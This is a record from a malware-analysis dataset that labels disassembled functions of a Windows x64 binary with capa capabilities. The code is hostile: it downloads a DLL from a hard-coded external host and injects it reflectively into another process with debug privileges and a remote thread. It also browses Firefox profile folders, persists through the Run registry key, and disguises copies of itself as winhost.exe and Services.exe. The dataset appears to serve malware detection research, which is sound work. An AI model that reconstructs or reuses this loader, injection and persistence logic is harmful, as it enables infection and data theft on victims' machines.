joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006298
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r12d, edx
mov rsi, rcx
mov dword [rbp - 0x31], edx
call fcn.1400019b0
lea rdx, [rbp - 0x31]
lea rcx, [rbp - 0x29]
mov edi, eax
mov dword [rbp - 0x29], eax
call fcn.140001980
test al, al
je 0x1400062f0
lea rcx, [rbp - 0x31]
call fcn.140001988
jmp 0x1400064bf
mov rcx, rsi
call fcn.140007728
test rax, rax
je 0x140006333
mov rcx, rsi
call fcn.140007754
mov rcx, rsi
mov rbx, rax
call fcn.140007728
cmp rax, rbx
jae 0x140006333
mov rcx, rsi
call fcn.1400077a4
lea rcx, [rbp - 0x31]
mov rbx, rax
call fcn.140001978
mov byte [rbx], al
mov eax, r12d
jmp 0x1400064bf
cmp qword [rsi + 0x98], 0
je 0x1400064bd
mov rcx, rsi
call fcn.140008134
lea rcx, [rbp - 0x31]
call fcn.140001978
cmp qword [rsi + 0x80], 0
jne 0x140006375
mov rdx, qword [rsi + 0x98]
mov cl, al
call fcn.140002de0
test al, al
cmovne edi, r12d
jmp 0x1400064bd
xor r8d, r8d
lea rcx, [rbp - 1]
mov byte [rbp - 0x39], al
lea edx, [r8 + 8]
call fcn.140006e1c
lea rdx, [rbp - 0x21]
lea rcx, [rbp - 1]
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
lea rcx, [rbp - 1]
mov rbx, rax
call fcn.140004fac
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 1]
add rbx, rax
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
lea rcx, [rbp - 0x29]
lea r9, [rbp - 0x38]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsi + 0x80]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x31]
lea r8, [rbp - 0x39]
lea rdx, [rsi + 0x8c]
mov qword [rsp + 0x20], rax
call fcn.140001df0
test eax, eax
js 0x1400064b4
cmp eax, 1
jg 0x14000649a
lea rdx, [rbp - 0x11]
lea rcx, [rbp - 1]
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
mov rbx, qword [rbp - 0x29]
sub rbx, rax
je 0x140006458
lea rdx, [rbp - 9]
lea rcx, [rbp - 1]
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
mov r9, qword [rsi + 0x98]
mov r8, rbx
mov rcx, rax
mov edx, 1
call fcn.14001df1c
cmp rbx, rax
jne 0x1400064b4
lea rax, [rbp - 0x39]
mov byte [rsi + 0x89], 1
cmp qword [rbp - 0x31], rax
jne 0x140006495
test rbx, rbx
jne 0x140006388
lea rcx, [rbp - 1]
call fcn.140004fac
cmp rax, 0x20
jae 0x1400064b4
lea edx, [rbx + 8]
lea rcx, [rbp - 1]
xor r8d, r8d
call fcn.140006eec
jmp 0x140006388
mov edi, r12d
jmp 0x1400064b4
cmp eax, 3
jne 0x1400064b4
mov rdx, qword [rsi + 0x98]
mov cl, byte [rbp - 0x39]
call fcn.140002de0
test al, al
cmovne edi, r12d
lea rcx, [rbp - 1]
call fcn.140004e88
mov eax, edi
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14001c0c0
mov rbx, qword [rsp + 0xf0]
add rsp, 0xb0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140007b4c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor edi, edi
mov rsi, rcx
cmp qword [rcx + 0x80], rdi
je 0x140007cd1
cmp byte [rcx + 0x8a], dil
je 0x140007cd1
call fcn.1400018ec
mov rcx, rsi
movzx ebx, ax
mov rax, qword [rsi]
movzx edx, bx
call qword [rax + 0x18]
lea rdx, [rbp - 0x17]
lea rcx, [rbp - 0x19]
mov word [rbp - 0x17], ax
mov word [rbp - 0x19], bx
call fcn.1400018b4
test al, al
je 0x140007bc7
xor al, al
jmp 0x140007cd3
xor r8d, r8d
lea rcx, [rbp + 0x17]
lea edx, [r8 + 8]
call fcn.140006e1c
lea rdx, [rbp - 9]
lea rcx, [rbp + 0x17]
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
lea rcx, [rbp + 0x17]
mov rbx, rax
call fcn.140004fac
lea rdx, [rbp + 0xf]
lea rcx, [rbp + 0x17]
add rbx, rax
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
mov rcx, qword [rsi + 0x80]
lea rdx, [rsi + 0x8c]
mov r8, rax
lea rax, [rbp - 0x11]
mov r9, rbx
mov qword [rsp + 0x20], rax
call fcn.140001e30
mov r11d, eax
test eax, eax
je 0x140007c55
dec r11d
je 0x140007c5c
cmp r11d, 2
jne 0x140007c47
mov dil, 1
lea rcx, [rbp + 0x17]
call fcn.140004e88
mov al, dil
jmp 0x140007cd3
mov byte [rsi + 0x8a], dil
lea rdx, [rbp - 1]
lea rcx, [rbp + 0x17]
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
mov rbx, qword [rbp - 0x11]
sub rbx, rax
je 0x140007cab
lea rdx, [rbp + 7]
lea rcx, [rbp + 0x17]
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
mov r9, qword [rsi + 0x98]
mov r8, rbx
mov rcx, rax
mov edx, 1
call fcn.14001df1c
cmp rbx, rax
jne 0x140007c47
cmp byte [rsi + 0x8a], dil
je 0x140007c44
test rbx, rbx
jne 0x140007bd7
lea edx, [rbx + 8]
lea rcx, [rbp + 0x17]
xor r8d, r8d
call fcn.140006eec
jmp 0x140007bd7
mov al, 1
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x140007f4c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor edi, edi
mov rsi, rcx
cmp qword [rcx + 0x80], rdi
je 0x1400080cd
cmp byte [rcx + 0x89], dil
je 0x1400080cd
call fcn.1400019b0
mov rcx, rsi
mov ebx, eax
mov rax, qword [rsi]
mov edx, ebx
call qword [rax + 0x18]
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 0x11]
mov dword [rbp - 0x19], eax
mov dword [rbp - 0x11], ebx
call fcn.140001980
test al, al
je 0x140007fc3
xor al, al
jmp 0x1400080cf
xor r8d, r8d
lea rcx, [rbp + 0xf]
lea edx, [r8 + 8]
call fcn.140006e1c
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
lea rcx, [rbp + 0xf]
mov rbx, rax
call fcn.140004fac
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0xf]
add rbx, rax
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
mov rcx, qword [rsi + 0x80]
lea rdx, [rsi + 0x8c]
mov r8, rax
lea rax, [rbp - 9]
mov r9, rbx
mov qword [rsp + 0x20], rax
call fcn.140001e30
mov r11d, eax
test eax, eax
je 0x140008051
dec r11d
je 0x140008058
cmp r11d, 2
jne 0x140008043
mov dil, 1
lea rcx, [rbp + 0xf]
call fcn.140004e88
mov al, dil
jmp 0x1400080cf
mov byte [rsi + 0x89], dil
lea rdx, [rbp + 7]
lea rcx, [rbp + 0xf]
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
mov rbx, qword [rbp - 9]
sub rbx, rax
je 0x1400080a7
lea rdx, [rbp - 1]
lea rcx, [rbp + 0xf]
call fcn.140007200
mov rcx, rax
call fcn.1400081c0
mov r9, qword [rsi + 0x98]
mov r8, rbx
mov rcx, rax
mov edx, 1
call fcn.14001df1c
cmp rbx, rax
jne 0x140008043
cmp byte [rsi + 0x89], dil
je 0x140008040
test rbx, rbx
jne 0x140007fd3
lea edx, [rbx + 8]
lea rcx, [rbp + 0xf]
xor r8d, r8d
call fcn.140006eec
jmp 0x140007fd3
mov al, 1
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x14000a418
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov rbx, rcx
mov ecx, 0x104
call fcn.14001e190
mov rdi, rax
test rax, rax
je 0x14000a56d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x1a]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, [0x14003daaf]
lea rcx, [rbp - 0x80]
call fcn.140004e18
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.140004e18
lea r8, str.MozillaFirefoxProfiles_
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.14000a74c
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.14000a6c8
lea rcx, [rsp + 0x58]
call fcn.140004e88
lea r8, [0x14003de74]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x58]
call fcn.14000a74c
mov rcx, rax
call fcn.140004eec
lea rdx, [rbp - 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea rcx, [rbp - 0x58]
mov rdi, rax
call fcn.140004e88
test byte [rbp - 0x30], 0x10
je 0x14000a535
lea rdx, [rbp - 4]
lea rcx, [rsp + 0x58]
call fcn.140004e18
lea rdx, str.release
lea rcx, [rsp + 0x58]
call fcn.140004f10
cmp rax, 0xffffffffffffffff
je 0x14000a52b
lea rdx, [rbp - 4]
lea rcx, [rbp - 0x80]
call fcn.140004e94
lea rcx, [rsp + 0x58]
call fcn.140004e88
lea rdx, [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14000a4f3
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14000a7bc
lea rcx, [rsp + 0x30]
call fcn.140004e88
lea rcx, [rbp - 0x80]
call fcn.140004e88
mov rax, rbx
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14000b218
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
xor edi, edi
mov r14, rdx
mov rbx, rcx
mov dword [rdx], edi
lea rcx, str.SexyBitch
lea edx, [rdi + 1]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
jne 0x14000b261
xor eax, eax
jmp 0x14000b332
mov rcx, rbx
call fcn.140004fa4
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov rdx, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r12, rax
test rax, rax
jne 0x14000b29b
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000b25a
mov r13d, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x14000b31d
mov rdx, rax
jmp 0x14000b2ff
cmp dword [rsp + 0x68], edi
jbe 0x14000b317
add r13d, dword [rsp + 0x68]
lea ebx, [r13 + 0x1000]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, ebx
mov r8, rbp
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x14000b317
mov edx, r13d
mov rbp, rax
add rdx, rax
lea r9, [rsp + 0x68]
mov r8d, 0x1000
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14000b2c5
mov dword [r14], r13d
mov rdi, rbp
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rdi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret

Function at 0x14000b4f0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov rbx, rcx
lea rcx, [rsp + 0x20]
call fcn.140005564
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000b56f
lea rdx, [rsp + 0x40]
mov rcx, rax
mov dword [rsp + 0x40], 0x130
call qword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x14000b56b
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.14000bb30
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14000b54e
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000bac4
lea rcx, [rsp + 0x20]
call fcn.1400055ac
mov rax, rbx
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14000b6d8
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp - 8], rax
and qword [rbp - 0x48], 0
and dword [rbp - 0x40], 0
xor eax, eax
and dword [rbp - 0x50], eax
mov r12d, edx
mov r13, rcx
lea rdx, str.http:__4382.bimmobil.xyz_tools_Core.dll
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x3c], rax
mov dword [rbp - 0x34], eax
lea edi, [rax + 1]
call fcn.140004f40
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.14000b218
lea rcx, [rbp - 0x30]
mov rsi, rax
call fcn.140004f98
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x48]
lea edx, [rdi + 0x27]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000b7a7
lea r8, [rbp - 0x3c]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rbp - 0x40], edi
mov dword [rbp - 0x34], 2
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x14000b79d
and qword [rsp + 0x28], 0
mov rcx, qword [rbp - 0x48]
and qword [rsp + 0x20], 0
lea r8, [rbp - 0x40]
xor r9d, r9d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r12d
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14000b7de
lea rdx, str.ERROR:_Failed_to_open_the_target_process
lea rcx, [0x1400495a0]
call fcn.1400095b0
mov rcx, rax
call fcn.14000b8d0
xor edi, edi
jmp 0x14000b81e
mov r8d, dword [rbp - 0x50]
mov rdx, rsi
mov rcx, rax
call fcn.14000e24c
test rax, rax
jne 0x14000b812
lea rdx, str.ERROR:_Failed_to_inject_the_DLL_in_process:
lea rcx, [0x1400495a0]
call fcn.1400095b0
mov edx, r12d
mov rcx, rax
call fcn.14000b8d8
jmp 0x14000b7d2
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test rsi, rsi
je 0x14000b837
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
je 0x14000b845
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call fcn.140004e88
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14001c0c0
mov rbx, qword [rsp + 0xc0]
add rsp, 0x80
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000dae0
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x670
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x660], rax
lea rdx, [rsp + 0x450]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14000db1c
xor al, al
jmp 0x14000dbc1
xor r9d, r9d
lea rax, [rsp + 0x240]
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14000db15
xor r9d, r9d
lea rax, [rsp + 0x30]
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14000db15
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x240]
repne scasw ax, word [rdi]
lea rdx, [rsp + 0x240]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x450]
call fcn.14001e490
test eax, eax
je 0x14000dbbf
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasw ax, word [rdi]
lea rdx, [rsp + 0x30]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x450]
call fcn.14001e490
test eax, eax
jne 0x14000db15
mov al, 1
mov rcx, qword [rsp + 0x660]
xor rcx, rsp
call fcn.14001c0c0
add rsp, 0x670
pop rdi
ret

Function at 0x14000dbdc
Capabilities:
Get common file path
Move file
Set file attributes

Disassembly:
push rbp
lea rbp, [rsp - 0x570]
sub rsp, 0x670
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x560], rax
call fcn.14000dae0
xor ecx, ecx
mov r8d, 0x104
test al, al
je 0x14000dc2d
lea rdx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x350]
call fcn.14001e4bc
jmp 0x14000dce5
lea rdx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r9d, r9d
lea r11, [rsp + 0x30]
lea edx, [r9 + 0x1a]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x14000dce3
lea r8, [0x14003de34]
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.14001e408
lea r8, str.Services.exe
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.14001e408
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x14000dcba
lea rcx, [rsp + 0x30]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x30]
jmp 0x14000dc23
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000dce3
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x140]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x14000dca0
xor eax, eax
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.14001c0c0
add rsp, 0x670
pop rbp
ret
Function at 0x14000dd00
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0x30
mov rsi, rdx
lea rax, [r11 + 0x18]
mov rbx, rcx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [r11 - 0x18], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000dd88
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasw ax, word [rdi]
lea r9d, [rax + 1]
xor r8d, r8d
not rcx
lea edx, [rcx + rcx]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], edx
mov rdx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
jne 0x14000dd82
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x14000dd8a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x14000dd9c
Capabilities:
Copy file
Create directory
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x670
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x660], rax
xor r9d, r9d
mov rsi, rdx
lea rax, [rsp + 0x450]
mov rbx, rcx
lea edx, [r9 + 0x1c]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor ebp, ebp
test eax, eax
js 0x14000ded8
mov ecx, ebp
movzx eax, word [rsp + rcx + 0x450]
add rcx, 2
mov word [rsp + rcx + 0x23e], ax
test ax, ax
jne 0x14000ddee
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x240]
repne scasw ax, word [rdi]
mov rax, qword [str.Microsoft]
lea rcx, [rsp + 0x240]
mov qword [rdi - 2], rax
mov rax, qword [0x14003f208]
xor edx, edx
mov qword [rdi + 6], rax
mov eax, dword [0x14003f210]
mov dword [rdi + 0xe], eax
movzx eax, word [0x14003f214]
mov word [rdi + 0x12], ax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rdx, rbp
movzx eax, word [rsp + rdx + 0x240]
add rdx, 2
mov word [rsp + rdx + 0x2e], ax
test ax, ax
jne 0x14000de55
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
repne scasw ax, word [rdi]
mov rax, qword [str.winhost.exe]
lea rdx, [rsp + 0x30]
mov qword [rdi - 2], rax
mov rax, qword [0x14003f220]
xor r8d, r8d
mov qword [rdi + 6], rax
mov rax, qword [0x14003f228]
mov rcx, rsi
mov qword [rdi + 0xe], rax
movzx eax, word [0x14003f230]
mov word [rdi + 0x16], ax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000ded8
lea rdx, [rsp + 0x30]
mov r8d, 0x103
mov rcx, rbx
call fcn.14001e394
mov word [rbx + 0x206], bp
mov al, 1
jmp 0x14000deda
xor al, al
mov rcx, qword [rsp + 0x660]
xor rcx, rsp
call fcn.14001c0c0
mov rbx, qword [rsp + 0x6a0]
add rsp, 0x670
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000e104
Capabilities:
Enumerate pe sections

Disassembly:
mov r8d, ecx
movsxd rcx, dword [rdx + 0x3c]
add rcx, rdx
movzx eax, word [rcx + 0x14]
lea r9, [rax + rcx + 0x18]
cmp r8d, dword [r9 + 0x14]
jae 0x14000e121
mov eax, r8d
ret
movzx r10d, word [rcx + 6]
xor edx, edx
cmp dx, r10w
jae 0x14000e167
movzx eax, dx
lea rcx, [rax + rax*4]
mov r11d, dword [r9 + rcx*8 + 0xc]
cmp r8d, r11d
jb 0x14000e14d
mov eax, dword [r9 + rcx*8 + 0x10]
lea ecx, [r11 + rax]
cmp r8d, ecx
jb 0x14000e152
inc dx
jmp 0x14000e128
movzx eax, dx
lea rcx, [rax + rax*4]
mov eax, dword [r9 + rcx*8 + 0x14]
sub eax, dword [r9 + rcx*8 + 0xc]
add eax, r8d
ret
xor eax, eax
ret

Function at 0x14000e16c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov rbx, rcx
mov ecx, 0x10b
cmp word [rax + rbx + 0x18], cx
je 0x14000e20b
mov ecx, 0x20b
cmp word [rax + rbx + 0x18], cx
jne 0x14000e20b
mov ecx, dword [rax + rbx + 0x88]
mov rdx, rbx
call fcn.14000e104
mov rdx, rbx
mov r12d, eax
add r12, rbx
mov ecx, dword [r12 + 0x20]
call fcn.14000e104
mov ecx, dword [r12 + 0x24]
mov rdx, rbx
mov edi, eax
add rdi, rbx
call fcn.14000e104
mov ebp, dword [r12 + 0x18]
mov esi, eax
add rsi, rbx
jmp 0x14000e207
mov ecx, dword [rdi]
mov rdx, rbx
dec ebp
call fcn.14000e104
mov ecx, eax
add rcx, rbx
call fcn.14000e0f8
test rax, rax
jne 0x14000e228
add rdi, 4
add rsi, 2
test ebp, ebp
jne 0x14000e1e4
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
mov ecx, dword [r12 + 0x1c]
mov rdx, rbx
call fcn.14000e104
movzx ecx, word [rsi]
mov rdx, rbx
mov r11d, eax
lea rax, [rbx + r11]
mov ecx, dword [rax + rcx*4]
call fcn.14000e104
jmp 0x14000e20d
Function at 0x14000e24c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov r12d, r8d
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
mov dword [rax - 0x38], ebx
mov dword [rax + 0x20], ebx
test rcx, rcx
je 0x14000e349
test rdx, rdx
je 0x14000e349
test r8d, r8d
je 0x14000e349
mov rcx, rdx
call fcn.14000e16c
mov r13d, eax
test eax, eax
jne 0x14000e2b0
lea rcx, str.Error:_Cannot_find_Reflective_DLL_offset_
call fcn.14001e58c
jmp 0x14000e349
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, r12
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x14000e349
mov dword [rdi + 2], r12d
mov qword [rsp + 0x20], rbx
mov r9, r12
mov r8, rdi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000e349
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, r12
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14000e349
lea r9, [r14 + r13]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor edx, edx
mov r8d, 0x100000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov qword [rsp + 0x48], rax
jmp 0x14000e352
mov rax, rbx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x14000e608
Capabilities:
Check mutex on windows

Disassembly:
push rbx
sub rsp, 0x20
lea r8, [0x14003ecd0]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x14000e644
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000e644
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14000e646
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14000e64c
Capabilities:
Set current directory

Disassembly:
sub rsp, 0xa8
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x98], rax
call fcn.1400131b0
